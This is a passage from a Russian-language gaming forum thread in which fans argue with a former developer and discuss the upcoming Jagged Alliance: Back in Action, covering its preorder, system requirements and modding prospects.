- спасибо, как-то не хочется прокурору рассказывать о том, что я хотел остаться в истории "героическим парнем". Если кто не в курсе - взлом кода, это статья.

И уж тем более я не слышал о драйверах с защитой кода. Найдешь такие-  показывай, поржем:)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.01.2012 в 02:32:48
Так, господа. о чем тут, уж вы меня извините, срётесь?

[offtop]Как "надои не надо" делать игры у нас где-то ветка была. "Поругаться" тоже имеется.
JA3 и JA:O не вышли ещё.
Если здесь есть тестеры, которые тестируют, пусть освещают ситуацию. Судить по "пустому воздуху", я лично считаю, неконструктивным.

Без умных слов: хотите по большому - туалет там. А здесь по (и только по) обсуждению игры. Как только она выйдет.[/offtop]

Спасибо за понимание. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 05.01.2012 в 02:39:52
2SSSVOLOCH: Нифига ты не понял.


Quote:
видел, и что?  они выпустили в релиз ту самую "пре-альфа-демку"? или все-таки что-то доделали?
А вы разрабатывали своё детище до конца? Или остановились на стадии "пре-альфа-демка"? ;)

Quote:
Основать форум - величайшее достижение, согласен
Это на тему любви к своему детищу и к детищам других разработчиков, коими и была вдохновлена та самая любовь к своему детищу (о как умно завернул :glasses: )

Quote:
что-то я не заметил выше просьб
Плохо смотрел. Это во-первых. Во-вторых, нормальные люди умеют поставить зарвавшегося собеседника на место без поливания его, собеседника, говном.

Quote:
Это ему покупатели лицензионной версии платили свои деньги, ему пусть и предъявляют свои претензии.
Понимаешь, в чём проблема, ты пришёл в эту тему и начал разговор примерно со следующего: "Вы все идиоты и неучи, вы нифига не понимаете в игрострое, один я такой умный, но я снизойду до вас и ща вам всё расскажу, слушайте, холопы". Возможно ты имел ввиду что-то другое, но мы (я по крайней мере) услышал твой т.с. месседж именно таким. Пока ты не очень убедителен. Убедил только в одном - нас, старых фанатов той самой Джа, да и в принципе интересующихся вообще, считают ничтожеством, от которого хотят только одного - как можно больше бабок, причём за как можно меньшее качество конечного продукта по принципу "пипл схавает". Так вот, пиплу продукт пришёлся как-то не по вкусу. Более того, пипл бывает очень злопамятный. Если одну ошибку пипл как-то простит - ну с кем не бывает, первый блин комом - и возможно купит второй продукт того же разработчика в надежде, что он будет качественнее первого, то хамское к себе отношение пипл уже не простит. Он, пипл, это отношение к себе запомнит, вплоть до имён команды разработчиков, и по миру пойдёт антипропаганда продукции этого самого разработчика. Причём оно может дойти до того, что будут игнорировать и даже бойкотировать продукцию других разработчиков, если в их команде есть кто-то из вас, даже если в качестве уборщика.

Quote:
И уж тем более я не слышал о драйверах с защитой кода
Он выпускал СВОИ дрова, понимаешь, собственной разработки. Ни о каком взломе речь не шла, он просто осмелился выпустить дрова лучше, чем оригинал. К счастью Креативы НЯЗ оказались единственными настолько е**нутыми, всем остальным на сторонние патчи на их продукты просто насрать - главное чтобы купили исходный диск. Или ты был свидетелем судебных тяжб с фанатами игр, которые осмелились на эти самые игры сделать моды с хаками скриптов или даже кода? :no:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 05.01.2012 в 02:53:16
[offtop]
on 1325714990, Legend wrote:
только обзывается и какашками кидается

рифма непроизвольна, да банально до нельзя, но почему то убила наповал  ;D ;D
А.С. Пушкин?
  может Гоголь[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 05.01.2012 в 02:54:10

on 1325720392, Legend wrote:
Возможно ты имел ввиду что-то другое, но мы (я по крайней мере) услышал твой т.с. месседж именно таким.


Отучайся говорить за всех и трактовать чужие слова, как тебе хочется - это спасет лицо по ходу жизни от многочисленных повреждений.

Я пришел в ветку, чтобы рассказать о JA : Online (поскольку все вы настолько "считаем-себя-фанатом-джа", что даже на бету не посмотрели). Почему сюда? Ну, по привычке - больше нигде на постоянной основе JA_проекты не обсуждают (лишний показатель "популярности", ага).

Взамен почему-то услышал очередное "а вот ДЖАЗ был гавно, давай-ка нам к нему патчи".

Бред о героических создателях драйверов даже комментировать неохота.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.01.2012 в 03:13:59

on 1325721250, SSSVOLOCH wrote:
Я пришел в ветку, чтобы рассказать о JA : Online
- так не обращайте внимание на:

on 1325721250, SSSVOLOCH wrote:
"а вот ДЖАЗ был гавно, давай-ка нам к нему патчи".



on 1325721250, SSSVOLOCH wrote:
(поскольку все вы настолько "считаем-себя-фанатом-джа", что даже на бету не посмотрели).
- сейчас посмотрю... Ой, так она ж закрытая же! Или уже нет?
С удовольствием посмотрю и... оставлю своё мнение. Киньтесь ссылкой. 8)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 05.01.2012 в 03:14:58

on 1325721250, SSSVOLOCH wrote:
JA : Online (поскольку все вы настолько "считаем-себя-фанатом-джа", что даже на бету не посмотрели)

Жалко время на то, что не стоит внимания. Таких подобных онлайн проектов тьма тьмущая (особенно на немного другую тему пост апокалипсиса), а с JA, что мы все так любим, этот проект связывает только название, (ну и соответственно стянутых под название ряд мелочей)

on 1325721250, SSSVOLOCH wrote:
больше нигде на постоянной основе JA_проекты не обсуждают

куча прочих форумов с приличной популяцией, но не русскоязычных, к примеру то же польское JA-сообщество

on 1325721250, SSSVOLOCH wrote:
лишний показатель "популярности"

опять же таки про популярность можно поспорить, те же западные коллеги сейчас делают грамотные проекты на базе JA2 и её платформ, там у них уже JA2 не узнать: иные истории, и лазеры и твари бегают, и фашисты со шмайсерами, я уж не говорю о пейзажах. JA2 с каждым годом преображается, но своих творцов не теряет!

on 1325721250, SSSVOLOCH wrote:
Взамен почему-то услышал очередное "а вот ДЖАЗ был гавно

извините, уважаемый,  но что поделать, если это так

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.01.2012 в 03:19:46

on 1325721250, SSSVOLOCH wrote:
"а вот ДЖАЗ был гавно, давай-ка нам к нему патчи"
Конкретно этого не было. :shuffle:
Я написал, что мне понравилось меньше ДЖа, но я слышал про патчи, кардинально улучшающие игру и сделал логичное предположение, что кто-то из команды разработчиков знает о них больше меня и может рассказать мне и другим игрокам о них.  ;)
[offtop]Но, кажется, я был послан.  ::)[/offtop]

Итак раз Вы опять вспомнили - вот ещё пудовый мешок соли.
Если уж на то пошло, то в ДЖАЗ вроде не позиционировался как ремейк ДЖа и никаких криков про ДЖАЗ: "Вот испортили игру... гады" не было. Отношение к ДЖАЗу, лично у меня, как к самостоятельному интересному проекту, который, правда, у меня регулярно вылетал, отсюда и просьба разъяснить, как убрать вылеты и наслаждаться игрой.  ;)
Я признаю, что заценить полностью сюжетную линию (которая, судя по чужим откликам - хороша) я не смог, а увидел лишь 3Д, ограниченность перемещения (ну и Бог с ней) и пальмы, падающие от пистолетной пули. А для дальнейшего ознакомления я попросил патчи.  ;)

С Back in Action ситуация другая. Тут позиционируется, что это ДЖа.
[offtop]Сейчас обижу ещё каких-нибудь разрабов[/offtop]
Есть игра Бригада Е5 - вот вам риалтайм и прочие радости и мы сидим тихо, потому что это другая игра, не осквернение ДЖа, а новая хорошая игра, со своим классным сюжетом, которая многим из нас нравится, т.е. по духу она даже ближе к ДЖа, чем Back in Action.
А тут мы видим трёхмерный новодел с чужим сюжетом и под чужим именем. Стыдно. А ещё его позиционируют, как то, что так долго ждали поклонники, лично мне (и не только мне) это нафиг не надо. Хочется 3Д -  есть Бригада Е5, которая, по всей видимости, похожа на Back in Action, но гораздо лучше.


on 1325721250, SSSVOLOCH wrote:
Я пришел в ветку, чтобы рассказать о JA : Online (поскольку все вы настолько "считаем-себя-фанатом-джа", что даже на бету не посмотрели)
Извиняюсь, но в моём представлении ДЖа - пошаговая стратегия, а не WoW - это разные игры и не надо их скрещивать.

Нехватает только аркады, описывающей трудовые будни проститутки, под началом мадам Лайлы и охраной Билли, разумеется, в славном городе Сан-Мона.  8)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 05.01.2012 в 03:34:09
2SSSVOLOCH:
Quote:
это спасет лицо по ходу жизни от многочисленных повреждений.
Сударь предполагает вызвать меня на дуэль? :)
Изъясняться уметь надо, чтобы потом не пришлось оправдываться "я совсем другое хотел сказать", лёжа на больничной койке. Знаем, проходили. И не надо про "говорить за всех", я не зря приписку сделал на тот случай, если понял изречения других собеседников неправильно.


Quote:
Я пришел в ветку, чтобы рассказать о JA : Online (поскольку все вы настолько "считаем-себя-фанатом-джа", что даже на бету не посмотрели)
А кто нам говорил, что эта бета (пока) закрытая и просто так туда не впустят даже самого труЪшного поклонника джа? Или мы настолько труЪ, что нам противопоказано это видеть/щупать/играть? Интересно тогда, почему?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 05.01.2012 в 03:42:24
ясно, убогое самомнение превыше всего.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 05.01.2012 в 03:43:03
2SSSVOLOCH: Как ты метко подметил! :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем jz на 05.01.2012 в 06:11:17
2Lion: Товарищ SSSVOLOCH начинал как фанат некогда известной игры "Альфа:Антитеррор". Выиграл в конкурсе на лучшее прохождение миссий (1-м челом с пистолетом за ограниченное время).  Как-то разрабы МистЛенд обратили на него внимание, и он попал туда.

Как я понимаю, был в техподдержке (?), короче плотно общался с пользователями. И убедился, что им всегда всего мало, и все плохо. В ДЖАЗе даже одна карта делается очень сложно - там куча деталей! - это почти аэрофотосъемка. Также, они как-то сделали АИ - кто ковырялся в исходниках, знает чего это им стоило.

В итоге "МистЛенд-Юг" развалился (кинули?), и осталась большая МОЗОЛЬ у человека. И мы пытаемся всем коллективом на эту его мозоль нажимать (неосознанно, конечно).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.01.2012 в 06:26:48
2jz: Ты знаешь, я на этот форум не вчера пришёл.
И некоторый опыт в играх у меня есть.
А также я знакомился со взглядами классиков на эти вопросы.
Я помню это:

on 1117732985, VM wrote:
Губозакатывалка - главный инструмент модера!

И это

on 1117732985, VM wrote:
Третья ошибка - пытаться сделать "лучше", а не "достаточно". Не буду повторяться, на эту тему я уже высказывался в других ветках.  

Мои претензии к ДЖАЗ'у сводятся к двум вещам:
1. Оно падает (подскажите как лечить, тем более, что кто-то это знает).
2. Мелкие придирки, но они уже не так важны.
[offtop]Мало секторов, ну и ладно, зато они большие, а потом из-за падений я до большинства из них так и не добрался.  :(
Пальма падает от пули - это ведь претензия косметическая, мелочь. Это не так важно.
Остальные в том же духе - это не проблемы.[/offtop]
Я не хотел никого обидеть упоминанием ДЖАЗ'а просто это одна из немногих игр этого вида, а Back in Action грозится стать худшей по всем показателям.  :(
А также нарушающей, на мой взгляд, некоторые негласные нормы приличия.
Совсем новая игра - новое название, и подавать надо по-другому. Но ведь это дорого и лениво.  8)
Попробуй написать "Золотая рыбка 2: Опять на крючке" и не удивляйся, что тебе потом скажут по этому поводу.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 05.01.2012 в 06:37:55
2jz: 2Lion: Интересное наблюдение - у вас одинаковое кол-во репы, одинаковая подпись под и над аватарой. А, да, ещё пол одинаковый ;D Всё, пойду хавать, а то уже крыша едет :lol:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем jz на 05.01.2012 в 06:53:55

on 1325734675, Legend wrote:
А, да, ещё пол одинаковый ;D Всё, пойду хавать, а то уже крыша едет
Атака клонов. Вы спокойны, вы очень спокойны, вам все это кажется. Матрица - это только кажется, все хорошо, идите спокойно ешьте, и на работу, на работу.  ;D

Да, здорово получилось.


on 1325734008, Lion wrote:
Я не хотел никого обидеть упоминанием ДЖАЗ'а просто это одна из немногих игр этого вида
Посмотрим на твою реакцию, когда твою работу будут хаить "А где 3-Дэ графика?", "а хде новое оружие в числе 100500 экземпляров, как в 1.13 ?", "а че пальмы одинаковые?"... Ну и т.д.
Еще товарищ Христос писал, что как ты к ним, так и они к тебе относятся, да  :).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 05.01.2012 в 08:06:50

on 1325686192, KombaT wrote:
А что это у нас тут один SSSVOLOCH: отдувается за детищЪ нынешней gamesиндустрии, разве не осталось на форуме никого причастных к нашим издательствам?

Их тут есть но, не пишут, не интересно.

on 1325712913, SSSVOLOCH wrote:
вашей коллективной фанатской замутненностью  

Это ж фан сайт, тебя на порвать не успели только потому что "интелехентные люди"  :)

on 1325724144, SSSVOLOCH wrote:
ясно, убогое самомнение превыше всего.  

Не обижайся и не замыкайся, тебя читать интересно.

on 1325735635, jz wrote:
Посмотрим на твою реакцию, когда твою работу будут хаить

Ну сходи по смори на посты Львенка в разделе ja2v113. Фанат оно от "фанатика" и точно отражает смысл  ::) Я сам такой, знаю про что говорю.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 06.01.2012 в 21:38:07

on 1325734675, Legend wrote:
Интересное наблюдение - у вас одинаковое кол-во репы
Тебя это пугает?  ::)

on 1325735635, jz wrote:
Посмотрим на твою реакцию, когда твою работу будут хаить "А где 3-Дэ графика?", "а хде новое оружие в числе 100500 экземпляров, как в 1.13 ?", "а че пальмы одинаковые?"... Ну и т.д.  
Я к этому морально готовлюсь, на твою реакцию тоже посмотрим, не все же пальмы мои.  ;)

on 1325740010, Zed wrote:
Не обижайся и не замыкайся, тебя читать интересно.
Поддерживаю.

on 1325740010, Zed wrote:
Ну сходи по смори на посты Львенка в разделе ja2v113
Я пытался быть политкорректным и не писать гадости.  :shuffle:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 11.01.2012 в 03:02:13
Знаете, камрады, почитал я тут ваши споры-переспоры и на ум пришло некое сравнение. Помнится, один из "выкидышей фабрики звёзд" начал было петь что-то из репертуара Цоя. Я как услышал - первая реакция - дать человеку по морде.
Ну, думаю, сейчас эту "звезду" ведущий захваливать начнёт, пиарить. В смысле, ой как же ты парень поёшь классно, чуть ли не самого Цоя перепел. И каково же было моё удивление, когда ведущий так по-эфирному вежливо ему намекнул, мол, парень, такие вещи тебе лучше не петь. Не твоё это. Твоё - это ла-ла-фа, тра-ла-ла. А Цоя не трожь.
"Звезда", разумеется, ни хрена не поняла, но так же вежливо согласилась.
Это я к чему. Не нужно называть "JA" вещи, которые ущербны изначально. Вещи, не в стиле JA. А что такое "стиль JA" - это вам любой Ja-фанат расскажет. И поверьте, 3D и сплошной реалтайм в это понятие не вписываются ну никак.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 11.01.2012 в 03:07:01

on 1326240133, MuMu wrote:
Вещи, не в стиле JA. А что такое "стиль JA" - это вам любой Ja-фанат расскажет. И поверьте, 3D и сплошной реалтайм в это понятие не вписывается ну никак.  
Мы тебе верим.  ;)
Я же тоже пишу, что, если делаете принципиально новую игру - так не жмитесь - сделайте новый сюжет и новое названия.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 11.01.2012 в 03:23:36

on 1326240421, Lion wrote:
Мы тебе верим.  
Я же тоже пишу, что, если делаете принципиально новую игру - так не жмитесь - сделайте новый сюжет и новое названия.  

Совершенно верно. И ещё я полностью согласен с тобой в вопросе с модами для старого доброго JA2 - с удовольствием буду юзать именно их вместо траты времени на сомнительные "модные" JA3, JA4, JA5 (нудное, тьфу ты, нужное [b][/b]подчеркнуть) :)
Кстати говоря, на добровольных началах с удовольствием принимаю участие в озвучке мода для такой не самой новой игры, как Готика 1. Ещё и девушку знакомую привлёк, ей (как ни странно) даже нравится :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 11.01.2012 в 04:07:51

on 1326240133, MuMu wrote:
И поверьте, 3D и сплошной реалтайм в это понятие не вписываются ну никак.  
- [offtop]сплошной реалтайм - да, но 3D - нет. Кое-кто даже придлогал как-то ввести поддержку 3D эффектов, чтобы старая игра заиграла новыми красками. ::)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 11.01.2012 в 04:22:51

on 1326244071, Green Eyes wrote:
сплошной реалтайм - да, но 3D - нет. Кое-кто даже придлогал как-то ввести поддержку 3D эффектов, чтобы старая игра заиграла новыми красками.  

DECIPIT FRONS PRIMA MULTOS
("внешний вид обманывает многих", = "не все то золото, что блестит")

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 11.01.2012 в 05:50:06

on 1326241416, MuMu wrote:
с удовольствием принимаю участие в озвучке мода для такой не самой новой игры, как Готика 1.  
Озвучка это вечная проблема модов, взять да и озвучить несколько десятков новых персонажей и доозвучить старых - сплошная морока, мало кто с этим полностью справляется.

on 1326241416, MuMu wrote:
с удовольствием буду юзать именно их вместо траты времени на сомнительные "модные" JA3, JA4, JA5
*Достаёт кружку с Королевским шиллингом* :pivo:
Их сначала надо ещё сделать.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 11.01.2012 в 21:03:24

on 1326250206, Lion wrote:
Озвучка это вечная проблема модов

Я так скажу: не всякий мод доходит до этой стадии. Но если доходит, то это, как правило, что-то действительно стоящее, на что не жалко и время потратить.

on 1326250206, Lion wrote:
озвучить несколько десятков новых персонажей и доозвучить старых - сплошная морока, мало кто с этим полностью справляется

Это да. Поначалу кажется - ерунда (что такого - немного покривляться в микрофон), но когда пытаешься сделать качественно и "с душой", вылазят разные проблемы. Я, например, сейчас "дрессирую" девчонку на предмет переозвучки некоторых фраз, которые не правильно звучат интонационно. А проблема в том, что она немного охрипла и все эти "заплатки" резко контрастируют с предыдущими фразами.
Хотя, местами это даже весело. Представь картину: стоит герой, беседует с дамой, она ему нежным девичьим голоском что-то мурлычет, а потом неожиданно и безо всякой видимой причины как гаркнет сиплым простуженным голосом: "Я буду ждать наверху...".  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 11.01.2012 в 23:15:48
В стиме доступен предзаказ за 500р( обычная цена 599). Заказавшим игру заранее комплект брони и скар-лайт.http://store.steampowered.com/app/57740/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Luficer на 12.01.2012 в 00:33:59
2Kestrel: Хоть ты тут один по теме пишешь.

2SSSVOLOCH: Хороший ник.

2Zed: А нельзя ли последние 50+ постов (с момента "обнажения мозолей") перенести в "Тоже игры" и назвать "JA: Online", например? Очень трудно добраться до информации по сабжу (именно игре BIA) стало. Понимаю, что рядом они, но как-то в кучу все свалено.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 12.01.2012 в 00:38:56
[offtop]
on 1326312948, Kestrel wrote:
стиме доступен предзаказ за 500р( обычная цена 599)

2Kestrel: пиратсво вперед! нодвд рулз![/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 12.01.2012 в 02:10:50

on 1326312948, Kestrel wrote:
Заказавшим игру заранее комплект брони и скар-лайт.
- хм, опять рекламный ход ради раскручивания стимовской системы.
С другой стороны, оплата электронным способом не сильно по цене от обычного - не забываем про комиссии при переводе.

Приятно, что для оценки осталось ждать месяц (до февраля).
Хм, по роликам игровой процесс больше напоминает Коммандос (до ж.. жути трудную игру).
Из плюсов вижу: новые-старые ролики, красивая графика, многоэтажность обстановки, новые наёмники.
Из минусов вижу: плохенькие текстуры танков (а они ещё наверняка не двигаются), новые наёмники, одна харя на ГГ (не думаю, что для каждой хари и пола будут делать вступительный ролик), не прикольный рагдол (это не УТ или Халфа, что бы людишки летали в воздухе ручками подрыгивая), реалтайм (Коммандос - привет!) с глупой паузой. Ладно, хардкор я не люблю, но ради Джа готов помазахиствовать. :P

По факту, текстуры исправить можно. Регдол скорее всего тоже не трудно скриптами изменить. Старые рожи - фотошоп в руки. Хотя новые наёмники ничего так - симптишные.

Пока сужу только по роликам, если окажется, что минусов\плюсов больше, то общая оценка изменится.
Пока абстрактная семерка из десяти негров. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 12.01.2012 в 06:44:26
Акелла случаем системные требования с шутером не попутала?!  :o http://ru.akella.com/Game.aspx?id=2506

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 12.01.2012 в 07:20:04
2Dredd21:
Кстати в группе в контакте когда показали системные требования я аж сам офигел.Чему там требовательным то быть?Судя по скринам и видео немогут быть такие требования крутыми быть.Ей-богу как у КрЫзЫса системки >:(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 12.01.2012 в 11:44:47
2Luficer:
Можно, но мне пока лень :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 12.01.2012 в 21:10:41

on 1326339866, Dredd21 wrote:
Акелла случаем системные требования с шутером не попутала?!
- как обычно, промахнулась. Они вообще, мне кажется, сис требования из воздуха берут.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Luficer на 12.01.2012 в 21:38:22
Windows XP/Vista/7, Intel Core i5, 4 Гб ОЗУ, DirectX 9-совместимая видеокарта с 1 Гб памяти (уровня GeForсe 9800 и выше), DirectX 9-совместимая звуковая карта, DireсtX 9.0c., для активации требуется доступ в Интернет

ммм. Я - пас.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 12.01.2012 в 23:39:47
Настойчиво возрастает уверенность, что готовится совсем не тот JA, в который я буду засиживаться вечерами...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 13.01.2012 в 01:43:01
Помоему, что-то похожее было с Джа3ом на счет сист. треб.........
Мда плохие, аналогии получаются.... ::) :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lestan на 13.01.2012 в 02:31:37
Господа, а шо вы все заранее расстраиваетесь. Вот выйдет через месяц игра, качнем с торрентов и оценим. Может там все высший класс будет.  ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 13.01.2012 в 02:32:53
2Lestan: Вот, правильно, оптимизм в наше время - это хорошо. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 14.01.2012 в 04:34:50
Народ подскажите пожалуйста,а что немцы в новой игре невключат создание своего ИМп перса?А то почитал на их форуме что типа незнаем\неможем ответить вам и все....затихли.Чувствую это уже не джа..это..кошмар будет. >:(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 14.01.2012 в 04:42:56

on 1326504890, PARKAN wrote:
Чувствую это уже не джа..это..кошмар будет

Jagged Alliance: Back to the Elm (Вязов) Street :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 14.01.2012 в 04:58:34

on 1326504890, PARKAN wrote:
а что немцы в новой игре невключат создание своего ИМп перса?
Не включат? А разве отключали?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 14.01.2012 в 05:30:44

on 1326504890, PARKAN wrote:
Народ подскажите пожалуйста,а что немцы в новой игре невключат создание своего ИМп перса?
- походу такого там вообще не было.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 14.01.2012 в 05:38:32
2RadicalRex:
На их форуме в английском разделе написали что хотели\думали ввести,но ничего неизвестно,типа это проблема баланса и тд и  тп. >:(.Вот я и думал может тут че-нить известно по этому вопросу.(ну а вдруг ;D).Но видно тоже ниче неизвестно.пичаль.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 14.01.2012 в 06:17:37

on 1326400787, MuMu wrote:
Настойчиво возрастает уверенность, что готовится совсем не тот JA, в который я буду засиживаться вечерами...  
Она у тебя только сейчас начала возрастать? У меня она возникла с полгода назад и с тех пор пребывает на постоянном высоком уровне...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 16.01.2012 в 22:03:36

on 1326511057, Ushwood wrote:
Она у тебя только сейчас начала возрастать?

Не, не, какой "сейчас"? :)
ИМХО - мертворождённый проект.

on 1326511057, Ushwood wrote:
У меня она возникла с полгода назад и с тех пор пребывает на постоянном высоком уровне...  

... который стабильно и с усердием, достойным лучшего применения, поддерживается разработчиками, я правильно понимаю? :)  

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 16.01.2012 в 23:44:56
2MuMu: угу, примерно так.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 17.01.2012 в 04:48:33
Что-то я в терзаниях - делать предзаказ или нет. С одной стороны 500 рублей - не так уж и много,с другой стороны этожематьево 500 рублей! На дорого не валяется (не часто)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 17.01.2012 в 06:28:57
2Xoxo_JI: В Стиме - только если за бесплатно. Не забывай что в нём игры в запакованном виде идут, а значит прощайте моды. К тому же учти сто у игры будут скромные продажи поэтому она очень скоро будет продаваться уже рублей по 150-200

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 17.01.2012 в 07:30:59
2bugmonster: даже если какой-нибудь сталкер купить, то без модов? Печаль  :( Как люди с ним живут тогда.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 17.01.2012 в 19:41:55
Интересно, сколько еще будут делать такие римейки, убивающие сер культовых 90х? Я пока насчитал только 2(без джа).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 17.01.2012 в 22:16:40
2Xoxo_JI: Может я и ошибаюсь. Инсталляция идёт точно из спец. .gcf-файлов, а вот можно ли потом установленную игру будет замодить - это вопрос, так как в стиме есть защита от пейратства, Valve Anti Cheat и прочие штуки, которые скорее всего не дадут модифицировать содержимое папки с игрой по своему усмотрению. В какой-то игре в стиме видел спец. опцию "Play moddable version", то есть при поддержке со стороны разработчиков возможность играть с модами существует. Вопрос в том озаботятся ли этим издатели ДжаБЫ, и подразумеваются ли любые пользовательские моды, или только одобренные и выложенные самим стимом.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 18.01.2012 в 01:36:24
2bugmonster: по всей видимости, одобренные стимом, со своей "группой" на форуме.  
Скорее всего скачиваемую игру можно будет заммодить. По крайней мере, когда я купил Red Orchestra 2 и случайно выкачал её со стима (а не установил с диска), то мне всё также предлагалось посетить страничку загружаемого контента. Конечно, окончательно в этом убедиться смогу тогда, когда на RO2 выйдет хотя бы один мод  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 19.01.2012 в 00:27:50
А я игру жду.Надеюсь что разработчики постараются,и сделают игру которая будет не хуже оригинала(2 части), и надеюсь также что разрабы сделают умный аи.А то после агоний власти 2 аналогичных игр не было.Сайлент сторм не то(тупой аи,и играть не интересно)...
Осталось совсем не долго до выхода!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 19.01.2012 в 00:49:53
2bugmonster: По факту модифицировать можно без проблем. На стимовский Скайрим и Халф-Лайф без проблем ставятся моды. Но с одним ограничением - никаких модифицированных ехе. :(

Вот только господин Сссволоч, говорил, что поддержки пользовательских модов не будет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lestan на 19.01.2012 в 03:23:49

on 1326923393, Green Eyes wrote:
Вот только господин Сссволоч, говорил, что поддержки пользовательских модов не будет.
Посмотрим, может и без поддержки разработчиков справиться можно будет. В любом случае раньше выхода не узнать, что и как в игре/ее ресурсах.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 19.01.2012 в 03:29:01
2Lestan: Посмотрим на игру, может и модифицировать нечего.  :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 19.01.2012 в 03:51:12

on 1326922070, smit86 wrote:
А я игру жду.Надеюсь что разработчики постараются,и сделают игру которая будет не хуже оригинала(2 части),  

Завидую, честно.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 21.01.2012 в 06:53:11
http://pc.reborn.ru/?contentid=100233 вот.может еще кто не видел

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 21.01.2012 в 08:19:12
2smit86:
Да, я уже вижу список фич который напишут на диске:
1. Уникальный AI
2. Уникальные анимированные портреты
3. Ну и конечно уникальная тактическая составляющая.
Искренне желаю разработчикам как можно сильнее пропиарить данное видео  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 21.01.2012 в 08:32:29
2smit86: Что-то я не впечатлился.  ::)
2Zed: Думаете, они не решатся написать:
4. Уникальная продуманная система инвентаря.
5. Потрясающий, захватывающий сюжет с неожиданным развитием событий.
6. Изумительная оружейная линейка, учитывающая все малейшие особенности оружия.
7. Потрясающие карты с неописуемой архитектурой.
:shuffle:
ЗЫ Портреты наёмников мне не понравились, уж лучше 4 Игоря.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 21.01.2012 в 08:52:35
>:( почему я трололо  ;D?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 21.01.2012 в 20:32:59

on 1327117991, smit86 wrote:
может еще кто не видел  
- лучше бы и не видел. Они бы хотя бы могли разраба способного общаться поставить комментировать. :P
Про остальное молчу. Ибо не понравилось ничего. :(

[offtop]
on 1327125155, smit86 wrote:
почему я трололо
- та-та, трала-ла, ого ого-го. ;)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 21.01.2012 в 21:32:08
http://ru.akella.com/News.aspx?id=3209

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 21.01.2012 в 22:35:51
Надеемся на лучшие и ждем!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 21.01.2012 в 23:26:44
Не надеемся не ждём. [offtop]:P ;D :( 8)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 22.01.2012 в 07:59:47

on 1327177604, Green Eyes wrote:
Не надеемся не ждём

погибни, антипатриот!
